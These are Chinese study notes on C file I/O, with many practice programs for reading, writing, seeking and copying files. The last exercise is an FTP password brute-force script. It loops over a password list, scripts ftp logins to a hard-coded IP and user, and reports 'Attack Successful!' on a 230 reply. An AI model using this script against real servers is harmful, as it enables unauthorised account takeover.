文件操作
1、文件分类:
①文本文件(例:记事本)、
②二进制文件(例:视频文件),优点:所占内存较小
操作文件地址的两种方式:①相对路径 ②绝对路径
2、文件打开与关闭
①格式:FILE *fp = fopen(“路径”,“r”)
做判断 文件是否为空;
打开失败情况:
①找不到文件②没有权限 ③程序打开文件超出上线;
关闭文件操做:
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main201()
{
FILE *fp = fopen("D:\\Code\\a.txt", "r");
if (fp == NULL)
{
printf("文件打开失败!\n");
return -1;
}
printf("文件打开成功!\n");
char ch;
while ((ch = fgetc(fp))!=EOF)
{
printf("%c\n", ch);
}
fclose(fp);
return EXIT_SUCCESS;
}
int main202()
{
FILE * fp = fopen("../../b.txt", "a");
if (fp == NULL)
{
return -1;
}
char ch = 'a';
fputc(ch, fp);
ch = 'b';
fputc(ch, fp);
fclose(fp);
return 0;
}
3、写文件
格式:fputc(‘A’,fp)
打开模式:
4、读取文件
格式:fgetc( fp)
注意:文件类型指针不需要用户操作;
读取整篇文件使用EOF作为判断结束标志
5、写文件内容的步骤:
1.以写的形式打开文件
2.判断文件的可用性
3.写文件||读文件
4.关闭文件
打开模式:
w:文件不存在会创建一个新文件,如果有文件则清空文件原始内容;
r以只读形式打开,不会创建新文件 如果文件不会存在会报错
a以追加的方式打开文件 文件不存在则创建文件 有文件则在文件结尾追加文件
6、行读写
7、行读取
每次读取一行
注意:指定最大读取字符串的长度减一
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main801()
{
char * p = "hello world\n";
FILE * fp = fopen("../../d.txt", "w");
if (!fp)
return -1;
fputs(p, fp);
fclose(fp);
system("pause");
return EXIT_SUCCESS;
}
int main802()
{
FILE * fp = fopen("../../d.txt", "r");
if (!fp)
return -1;
char buf[5];
fgets(buf, 5, fp);
printf("第一次读取结果:%s\n", buf);
memset(buf, 0, 5);
fgets(buf, 5, fp);
printf("第二次读取结果:%s\n", buf);
memset(buf, 0, 5);
fgets(buf, 5, fp);
printf("第三次读取结果:%s\n", buf);
fgets(buf, 5, fp);
printf("第四次读取结果:%s\n", buf);
fclose(fp);
return 0;
}
int main08()
{
FILE * fp = fopen("../../d.txt", "r");
if (!fp)
return -1;
char * buf = malloc(sizeof(char) * 1024);
while (feof(fp) == 0)
{
memset(buf, 0, 1024);
fgets(buf, 1024, fp);
printf("%s", buf);
}
free(buf);
fclose(fp);
}
8、feof判断文件流是否到结尾, eof判断字符是否到结尾
格式:feof(fp)
格式化文件
①写文件fprintf()
②读文件fscanf()
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main1001()
{
FILE * fp1 = fopen("../../f.txt", "w");
if (!fp1)
return -1;
fprintf(fp1, "%d+%d=%d\n", 1, 2, 3);
fclose(fp1);
system("pause");
return EXIT_SUCCESS;
}
int main1002()
{
FILE * fp1 = fopen("../../f.txt", "r");
if (!fp1)
return -1;
int a, b, c;
fscanf(fp1, "%d+%d=%d\n", &a, &b, &c);
printf("%d %d %d\n", a, b, c);
fclose(fp1);
return 0;
}
int main1003()
{
FILE * fp1 = fopen("../../c.txt", "r");
if (!fp1)
return -1;
int a, b, c;
char ch;
for (int i = 0; i < 100; i++)
{
fscanf(fp1, "%d%c%d=\n", &a, &ch, &b);
printf("%d%c%d=\n", a, ch, b);
}
fclose(fp1);
return 0;
}
小结:
标准输入输出
scanf() printf()
格式化字符串
sscnaf() sprintf()
格式化文件读写
fscanf () fprintf()
练习:vi编辑器
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main04()
{
char fileName[256];
printf("请输入文件名:\n");
scanf("%s", fileName);
getchar();
FILE * fp = fopen(fileName, "w");
if (!fp)
return -1;
char buf[1024];
while (1)
{
memset(buf, 0, 1024);
fgets(buf, 1024, stdin);
if (!strncmp("comm=exit", buf, 9))
break;
int i = 0;
while (buf[i])
fputc(buf[i++], fp);
}
fclose(fp);
system("pause");
return EXIT_SUCCESS;
}
练习:手写cat
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main05()
{
char fileName[256];
printf("请输入您查看的文件:\n");
scanf("%s", fileName);
getchar();
FILE * fp = fopen(fileName, "r");
if (!fp)
return -1;
char ch;
while ((ch = fgetc(fp)) != EOF)
printf("%c", ch);
fclose(fp);
system("pause");
return EXIT_SUCCESS;
}
练习:四则运算
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include <time.h>
enum MyEnum
{
add,sub,mlt,dive
}opt;
int main06()
{
srand((unsigned int)time(NULL));
FILE * fp = fopen("../../c.txt", "w");
if (!fp)
return -1;
int a, b;
char c;
char buf[20];
for (int i = 0; i < 100; i++)
{
switch (rand()%4)
{
case add:
c = '+';
break;
case sub:
c = '-';
break;
case mlt:
c = '*';
break;
case dive:
c = '/';
break;
}
a = rand() % 10 + 1;
b = rand() % 10 + 1;
memset(buf, 0, 20);
sprintf(buf, "%d%c%d=\n", a, c, b);
int j = 0;
while (buf[j])
fputc(buf[j++], fp);
}
fclose(fp);
system("pause");
return EXIT_SUCCESS;
}
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main09()
{
FILE * fp1 = fopen("../../c.txt", "r");
FILE * fp2 = fopen("../../e.txt", "w");
if (!fp1 || !fp2)
return -1;
int a, b;
float value = 0;
char c;
char buf[20];
for(int i = 0; i < 100; i++)
{
memset(buf, 0, 20);
fgets(buf, 20, fp1);
sscanf(buf, "%d%c%d=\n", &a, &c, &b);
switch (c)
{
case '+':
value = a + b;
break;
case '-':
value = a - b;
break;
case '*':
value = a * b;
break;
case '/':
value = a * 1.0 / b;
break;
}
fprintf(fp2, "%d%c%d=%.2f\n", a, c, b, value);
}
fclose(fp1);
fclose(fp2);
system("pause");
return EXIT_SUCCESS;
}
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main12()
{
FILE * fp = fopen("../../c.txt", "r+");
if (!fp)
return -1;
char ** buf = (char **)malloc(sizeof(char *) * 100);
int a, b;
char c;
float value;
for (int i = 0; i < 100; i++)
{
buf[i] = (char *)malloc(sizeof(char) * 20);
fscanf(fp, "%d%c%d=\n", &a, &c, &b);
switch (c)
{
case '+':
value = a + b;
break;
case '-':
value = a - b;
break;
case '*':
value = a * b;
break;
case '/':
value = a * 1.0 / b;
break;
}
sprintf(buf[i], "%d%c%d=%.2f\n", a, c, b, value);
}
fclose(fp);
fp = fopen("../../c.txt", "r+");
if (!fp)
return -1;
for (int i = 0; i < 100; i++)
fputs(buf[i], fp);
fclose(fp);
for (int i = 0; i < 100; i++)
{
free(buf[i]);
buf[i] = NULL;
}
free(buf);
return EXIT_SUCCESS;
}
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
struct opter
{
int a;
int b;
char c;
float value;
};
typedef struct opter opt;
int main13()
{
opt * p = (opt *)malloc(sizeof(opt) * 100);
FILE * fp = fopen("../../c.txt", "r+");
if (!fp)
return -1;
for (int i = 0; i < 100; i++)
{
fscanf(fp, "%d%c%d=\n", &(p + i)->a, &p[i].c, &p[i].b);
switch (p[i].c)
{
case '+':
p[i].value = p[i].a + p[i].b;
break;
case '-':
p[i].value = p[i].a - p[i].b;
break;
case '*':
p[i].value = p[i].a * p[i].b;
break;
case '/':
p[i].value = p[i].a* 1.0 / p[i].b;
break;
}
}
fclose(fp);
fp = fopen("../../c.txt", "r+");
if (!fp)
return -1;
for (int i = 0; i < 100; i++)
fprintf(fp, "%d%c%d=%.2f\n", p[i].a, p[i].c, p[i].b, p[i].value);
fclose(fp);
free(p);
system("pause");
return EXIT_SUCCESS;
}
练习:文件的简单加密解密
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main701()
{
FILE * fp1 = fopen("D:\\Code\\src.txt", "r");
FILE * fp2 = fopen("D:\\Code\\pas.txt", "w");
if (!fp1 || !fp2)
return -1;
char ch;
while ((ch = fgetc(fp1)) != EOF)
{
ch++;
fputc(ch, fp2);
}
fclose(fp1);
fclose(fp2);
system("pause");
return EXIT_SUCCESS;
}
int main702(void)
{
FILE * fp1 = fopen("D:\\Code\\pas.txt", "r");
FILE * fp2 = fopen("D:\\Code\\src1.txt", "w");
if (!fp1 || !fp2)
return -1;
char ch;
while ((ch = fgetc(fp1)) != EOF)
{
ch--;
fputc(ch, fp2);
}
fclose(fp1);
fclose(fp2);
}
练习:大数据排序
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include <time.h>
int main1401()
{
srand((unsigned int)time(NULL));
FILE * fp = fopen("../../g.txt", "w");
if (!fp)
return -1;
for (int i = 0; i < 100000; i++)
{
fprintf(fp, "%d\n", rand() % 1000 + 1);
}
fclose(fp);
system("pause");
return EXIT_SUCCESS;
}
int main1402()
{
unsigned int start_time = time(NULL);
FILE * fp = fopen("../../g.txt", "r");
if (!fp)
return -1;
int *p = (int *)malloc(sizeof(int) * 100000);
for (int i = 0; i < 100000; i++)
fscanf(fp, "%d\n", &p[i]);
for (int i = 0; i < 100000 - 1; i++)
{
for (int j = 0; j < 100000 - i - 1; j++)
{
if (p[j] > p[j + 1])
{
int temp = p[j];
p[j] = p[j + 1];
p[j + 1] = temp;
}
}
}
fclose(fp);
fp = fopen("../../g.txt", "w");
if (!fp)
return -1;
for (int i = 0; i < 100000; i++)
fprintf(fp, "%d\n", p[i]);
fclose(fp);
free(p);
unsigned int end_time = time(NULL);
printf("用时时间:%d(s)\n", end_time - start_time);
return 0;
}
int main()
{
unsigned int start_time = time(NULL);
FILE * fp = fopen("../../g.txt", "r");
if (!fp)
return -1;
int arr[1000] = {0};
int value;
for (int i = 0; i < 100000; i++)
{
fscanf(fp, "%d\n", &value);
arr[value - 1]++;
}
fclose(fp);
fp = fopen("../../g.txt", "w");
if (!fp)
return -1;
for (int i = 0; i < 1000; i++)
for (int j = 0; j < arr[i]; j++)
fprintf(fp, "%d\n", i + 1);
fclose(fp);
unsigned int end_time = time(NULL);
printf("用时时间:%d(s)\n", end_time - start_time);
}
二进制读写:
fwrite写入格式:
fread读取格式:
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main101()
{
int arr[] = { 888888,888888,888888,888888,5,6,7,8,10 };
FILE * fp = fopen("../../b.txt", "wb");
if (!fp)
return -1;
fwrite(arr, sizeof(int), 4, fp);
fclose(fp);
return EXIT_SUCCESS;
}
int main102()
{
FILE * fp = fopen("../../b.txt", "rb");
if (!fp)
return -1;
int arr[10] = {0};
int i = 0;
while (!feof(fp))
{
fread(&arr[i++], sizeof(int), 1, fp);
}
fclose(fp);
printf("%d\n", arr[0]);
printf("%d\n", arr[1]);
printf("%d\n", arr[2]);
printf("%d\n", arr[3]);
return -1;
}
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
struct students
{
char name[20];
int age;
char sex;
char tel[15];
};
typedef struct students stu;
int main201()
{
stu s[5] = {
{ "李白",50,'M',"110" },
{ "李黑",20,'M',"120" },
{ "李逵",30,'M',"119" },
{ "李鬼",40,'M',"911" },
{ "李青",10,'M',"666" } };
FILE * fp = fopen("../../c.txt", "wb");
if (!fp)
return -1;
for (int i = 0; i < 5; i++)
{
fwrite(&s[i], sizeof(stu), 1, fp);
}
fclose(fp);
return EXIT_SUCCESS;
}
int main202()
{
printf("结构体大小:%d\n", sizeof(stu));
return 0;
FILE * fp = fopen("../../c.txt", "rb");
if (!fp)
return -1;
stu s[5];
int i = 0;
while (!feof(fp))
{
fread(&s[i++], sizeof(stu),1 , fp);
}
fclose(fp);
for (i = 0; i < 5; i++)
{
printf("姓名:%s\t年龄:%d\t性别:%s\t电话:%s\n", s[i].name, s[i].age, s[i].sex == 'M' ? "男" : "女", s[i].tel);
}
return 0;
}
练习:vi编辑器
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main(int argc ,char * argv[])
{
char fileName[256];
printf("请您输入一个需要创建的文件:\n");
scanf("%s", fileName);
getchar();
FILE * fp = fopen(fileName, "w");
if (fp == NULL)
{
return -1;
}
char buf[1024];
while (1)
{
memset(buf, 0, 1024);
fgets(buf, 1024, stdin);
if (strncmp("comm=exit", buf,9) == 0)
{
break;
}
int i = 0;
while (buf[i] != '\0')
{
fputc(buf[i++], fp);
}
}
fclose(fp);
system("pause");
return EXIT_SUCCESS;
}
获取文件属性:
练习:Linux下手写文件拷贝
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <time.h>
#define MAXSIZE 1024*1024*10
int main(int argc, char *argv[])
{
unsigned int start_time = time(NULL);
if(argc < 3)
{
printf("缺少参数\n");
return -1;
}
FILE *fp1 = fopen(argv[1], "rb");
FILE *fp2 = fopen(argv[2], "wb");
if(!fp1 || !fp2)
{
printf("文件打开失败!\n");
return -2;
}
struct stat s = {0};
stat(argv[1], &s);
char *ch = NULL;
int maxSize = 0;
if(s.st_size < MAXSIZE)
{
maxSize = s.st_size;
ch = (char*)malloc(sizeof(char)*s.st_size);
}
else
{
maxSize = MAXSIZE;
ch = (char*)malloc(sizeof(char)*MAXSIZE);
}
while(!feof(fp1))
{
int len = fread(ch, 1, maxSize, fp1);
fwrite(ch, len, 1, fp2);
}
fclose(fp1);
fclose(fp2);
unsigned int end_time = time(NULL);
printf("用时:%d秒\n", end_time - start_time);
return 0;
}
fseek改变光标的位置
从文件开始移动
从文件结尾开始移动
从当前位置移动:CUR
rweind
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main601()
{
char * arr = "hello world";
FILE * fp = fopen("../../d.txt", "w");
fputs(arr, fp);
fclose(fp);
system("pause");
return EXIT_SUCCESS;
}
int main602()
{
FILE * fp = fopen("../../d.txt", "r");
if (!fp)
return -1;
char ch;
while ((ch = getc(fp)) != EOF)
{
int len = ftell(fp);
printf("%c", ch);
printf("%d\n", len);
}
fclose(fp);
return 0;
}
int main603()
{
FILE * fp = fopen("../../d.txt", "r");
if (!fp)
return -1;
char buf[20];
while (!feof(fp))
{
fgets(buf, 20, fp);
printf("%s", buf);
printf("%ld\n", ftell(fp));
}
fclose(fp);
return 0;
}
int main604()
{
FILE * fp = fopen("../../d.txt", "r");
if (!fp)
return -1;
char buf[20];
for (int i = 0; i < 5; i++)
{
fgets(buf, 20, fp);
printf("%s", buf);
printf("%ld\n", ftell(fp));
}
rewind(fp);
fseek(fp, -5, SEEK_SET);
printf("%ld\n", ftell(fp));
fclose(fp);
return 0;
}
总结:
fseek() 移动光标为位置,参数(文件流 ,移动字节,模式) 模式: SEEK_SET 以文件开头
SEEK_CUR 以文件当前位置 SEEK_END 以文件结尾
ftell (文件流) 获取光标当前为位置 返回值是long类型 -1代表失败
rewind(文件流 ) 重置光标到文件起始位置
文件删除重命名操作:
文件删除
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main07()
{
rename("../../eee.txt", "D://eee.txt");
system("pause");
return EXIT_SUCCESS;
}
重命名
移动操作
文件缓冲区更新
flush(文件流)
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main()
{
char fileName[256];
printf("请输入文件:\n");
scanf("%s", fileName);
getchar();
FILE * fp = fopen(fileName, "w");
if (!fp)
return -1;
char buf[1024];
while (1)
{
fgets(buf, 1024, stdin);
if (!strncmp(buf, "comm=exit", 9))
break;
fputs(buf, fp);
fflush(fp);
}
fclose(fp);
return EXIT_SUCCESS;
}
练习:入侵ftp小案例
qt代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
extern void CreateFile(char *ip, char *pass);
int main(int argc, char *argv[])
{
FILE *fp1 = fopen("D:\\pass.txt", "r+");
if(!fp1)
{
printf("文件打开失败!\n");
return -1;
}
char *ip = "192.168.228.129";
char pass[20];
while(!feof(fp1))
{
memset(pass, 0, 20);
fgets(pass, 20, fp1);
CreateFile(ip, pass);
FILE *fp3 = _popen("ftp -n -s:D:\\attack.txt", "r");
if(!fp3)
{
printf("文件打开失败!\n");
return -1;
}
char buf[1024];
while(!feof(fp3))
{
memset(buf, 0, 1024);
fgets(buf, 1024, fp3);
if(strncmp("230", buf, 3) == 0)
{
printf("Attack Successful!\n");
printf("PASSWORD:%s\n", pass);
exit(0);
}
}
pclose(fp3);
}
fclose(fp1);
return 0;
}
void CreateFile(char *ip, char *pass)
{
FILE *fp2 = fopen("D:\\attack.txt", "w+");
if(!fp2)
{
printf("文件打开失败!\n");
return -1;
}
fprintf(fp2, "open %s\nuser\nweiyujian\n%sbye", ip, pass);
fclose(fp2);
}
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)